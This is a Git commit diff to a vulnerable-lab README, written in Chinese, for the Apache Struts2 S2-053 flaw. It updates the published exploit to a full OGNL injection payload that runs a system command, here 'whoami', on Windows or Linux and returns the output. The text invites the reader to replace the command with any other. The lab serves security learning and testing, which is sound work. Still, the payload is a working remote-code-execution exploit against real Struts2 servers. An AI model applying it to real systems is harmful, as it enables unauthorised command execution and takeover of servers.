(Fix Vul: Struts2) 更新为可回显Exp #12

This commit is contained in:
Medicean 2017-09-08 16:06:09 +08:00
parent e4e324d2e7
commit a35d9eab27
2 changed files with 5 additions and 3 deletions

View File

@ -35,13 +35,15 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053
#### Exp #### Exp
命令执行 Exp: 命令执行 Exp(有回显):
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
``` ```
替换Exp中的 `(#cmd='/usr/bin/touch /tmp/vuln')` 中的命令即可 替换Exp中的 `(#cmd='whoami')` 中的命令即可
![](https://github.com/Medicean/VulApps/raw/master/s/struts2/s2-053/exp-1.png)
### 修复建议 ### 修复建议

BIN
s/struts2/s2-053/exp-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB